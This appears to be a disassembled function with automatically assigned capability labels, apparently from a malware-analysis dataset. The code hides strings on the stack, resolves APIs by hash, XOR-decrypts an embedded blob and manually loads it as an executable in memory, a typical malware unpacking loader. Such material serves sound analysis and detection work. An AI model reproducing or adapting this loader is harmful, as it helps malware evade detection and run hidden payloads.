Function at 0x41228d
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0xd0
push ebx
push ebp
push esi
push edi
push 0x32
pop ebx
push 0x6b
pop eax
push 0x33
pop edx
push 0x65
pop ecx
push 0x72
mov byte [esp + 0x2d], al
mov word [esp + 0x48], ax
pop eax
push 0x6e
mov word [esp + 0x4c], ax
pop eax
push 0x6c
mov word [esp + 0x4a], cx
mov word [esp + 0x50], cx
pop ecx
push 0x2e
mov word [esp + 0x4e], ax
pop eax
mov word [esp + 0x54], ax
push 0x64
pop eax
mov word [esp + 0x56], ax
xor eax, eax
mov word [esp + 0x4e], cx
mov word [esp + 0x58], cx
mov word [esp + 0x5a], cx
mov ecx, 0x3d090c
mov word [esp + 0x1c], 0x6d79
mov byte [esp + 0x1e], 0x63
mov byte [esp + 0x1f], bl
mov dword [esp + 0x20], 0x77522b23
mov dword [esp + 0x24], 0x6d702939
mov byte [esp + 0x28], 0x78
mov dword [esp + 0x2a], 0x5a782937
mov word [esp + 0x2e], 0x2a47
mov byte [esp + 0x30], dl
mov word [esp + 0x31], 0x675e
mov byte [esp + 0x33], 0
mov word [esp + 0x50], dx
mov word [esp + 0x52], bx
mov word [esp + 0x5c], ax
xor eax, eax
mov byte [esp + eax + 0x74], al
inc eax
cmp eax, 0x6a
jb 0x412344
dec ecx
jne 0x412342
cmp byte [esp + 0xa4], 0x30
jne 0x412389
call fcn.00412667
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0xc]
mov esi, edi
push ecx
mov ecx, dword [esi + 0x30]
lea edx, [esp + 0x48]
call fcn.00412685
pop ecx
test eax, eax
je 0x412384
mov esi, dword [esi]
cmp esi, edi
jne 0x412368
xor esi, esi
jmp 0x41238d
mov esi, dword [esi + 0x18]
jmp 0x41238d
mov esi, dword [esp + 0x40]
mov edx, 0xe3142
mov ecx, esi
call fcn.0041270b
mov edx, 0xd5786
mov ecx, esi
mov ebx, eax
call fcn.0041270b
mov edx, 0x348bfa
mov dword [esp + 0x70], eax
mov ecx, esi
call fcn.0041270b
push 4
push 0x3000
push 0x16d800
push 0
mov dword [esp + 0x70], eax
call ebx
movsx esi, byte [esp + 0x74]
mov ebp, eax
mov eax, esi
mov dword [esp + 0x40], ebp
cdq
mov ecx, 0xdf
idiv ecx
movsx ecx, byte [esp + 0x97]
xor edi, edi
imul eax, ecx
push 5
pop ecx
imul eax, eax, 0xe
mov dword [esp + 0x10], eax
imul eax, esi, 0x156
imul esi, esi, 0xd7c
cdq
idiv ecx
cdq
idiv ecx
cdq
idiv ecx
cdq
idiv ecx
cdq
idiv ecx
cdq
idiv ecx
mov ecx, 0x156
cdq
idiv ecx
mov ecx, dword [esp + 0x10]
add eax, ebp
add esi, eax
xor edx, edx
mov dword [esp + 0x10], 0x18
mov eax, edi
div dword [esp + 0x10]
sub edx, ecx
mov al, byte [esp + edx + 0x1c]
xor al, byte [edi + str.4732_Rw_]
mov byte [edi + esi], al
inc edi
cmp edi, 0x16d800
jb 0x412425
mov eax, dword [ebp + 0x3c]
mov ecx, dword [eax + ebp + 0x50]
movsx eax, byte [esp + 0x7c]
shl eax, 3
push eax
push 0x3000
push ecx
push 0
call ebx
mov esi, eax
test esi, esi
je 0x412644
mov edi, dword [ebp + 0x3c]
mov edx, ebp
add edi, ebp
mov ecx, esi
mov dword [esp + 0x10], edi
sub eax, dword [edi + 0x34]
push dword [edi + 0x54]
movzx ebx, word [edi + 0x14]
mov dword [esp + 0x3c], eax
mov dword [edi + 0x34], esi
call fcn.00412651
mov eax, dword [edi + 0xa4]
and dword [esp + 0x1c], 0
mov edx, dword [edi + 0xa0]
mov dword [esp + 0x18], eax
mov eax, dword [edi + 0x80]
mov dword [esp + 0x70], eax
mov eax, dword [edi + 0x84]
mov dword [esp + 0x6c], eax
xor eax, eax
and dword [esp + 0x40], eax
pop ecx
mov dword [esp + 0x34], edx
mov dword [esp + 0x64], eax
cmp ax, word [edi + 6]
jae 0x412644
add ebx, 0x24
add ebx, edi
mov ecx, dword [ebx]
cmp edx, ecx
jb 0x4124f1
mov eax, dword [ebx - 4]
add eax, ecx
cmp edx, eax
jae 0x4124f1
lea eax, [ebx - 0xc]
mov dword [esp + 0x18], eax
mov edx, dword [esp + 0x6c]
cmp edx, ecx
jb 0x412509
mov eax, dword [ebx - 4]
add eax, ecx
cmp edx, eax
jae 0x412509
lea eax, [ebx - 0xc]
mov dword [esp + 0x64], eax
mov edx, dword [ebx + 8]
add ecx, esi
push dword [ebx + 4]
add edx, ebp
call fcn.00412651
mov edx, dword [esp + 0x40]
add ebx, 0x28
movzx eax, word [edi + 6]
inc edx
mov dword [esp + 0x40], edx
cmp edx, eax
mov edx, dword [esp + 0x38]
pop ecx
jl 0x4124db
mov eax, dword [esp + 0x64]
test eax, eax
je 0x412644
xor edx, edx
cmp dword [esp + 0x14], edx
jbe 0x412599
mov ecx, dword [esp + 0x18]
lea eax, [edx + ebp]
add edx, 8
add eax, dword [ecx + 0x14]
mov dword [esp + 0x34], eax
mov ebx, dword [eax + 4]
sub ebx, 8
shr ebx, 1
je 0x41258f
mov edi, eax
lea eax, [edx + ebp]
add edx, 2
add eax, dword [ecx + 0x14]
movzx ecx, word [eax]
test ecx, 0xf000
je 0x412588
and ecx, 0xfff
add ecx, dword [edi]
mov eax, dword [ecx + esi]
add eax, dword [esp + 0x38]
mov dword [ecx + esi], eax
mov ecx, dword [esp + 0x18]
dec ebx
jne 0x412562
cmp edx, dword [esp + 0x14]
jb 0x412549
mov edi, dword [esp + 0x10]
mov ebx, dword [edi + 0x80]
add ebx, esi
je 0x412644
add ebx, 0xc
jmp 0x4125fe
mov eax, dword [ebx]
add eax, esi
push eax
call dword [esp + 0x74]
mov dword [esp + 0x38], eax
test eax, eax
je 0x412644
mov ebx, dword [ebx + 4]
add ebx, esi
cmp dword [ebx], 0
je 0x4125f7
mov ebp, dword [esp + 0x60]
mov edi, eax
mov eax, dword [ebx]
test eax, eax
jns 0x4125dc
movzx eax, ax
jmp 0x4125e1
add eax, 2
add eax, esi
push eax
push edi
call ebp
mov dword [ebx], eax
add ebx, 4
cmp dword [ebx], 0
jne 0x4125d1
mov edi, dword [esp + 0x10]
mov ebp, dword [esp + 0x40]
mov ebx, dword [esp + 0x14]
add ebx, 0x14
cmp dword [ebx], 0
mov dword [esp + 0x14], ebx
jne 0x4125ac
mov eax, dword [ebp + 0x3c]
cmp dword [eax + ebp + 0xc0], 0
je 0x412630
mov eax, dword [edi + 0xc0]
mov ebx, dword [eax + esi + 0xc]
jmp 0x41262a
push 0
push 1
push ebp
call eax
lea ebx, [ebx + 4]
mov eax, dword [ebx]
test eax, eax
jne 0x412620
mov eax, dword [edi + 0x28]
push 0
push 1
add eax, esi
push esi
call eax
neg eax
sbb eax, eax
and eax, esi
jmp 0x412646
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd0
ret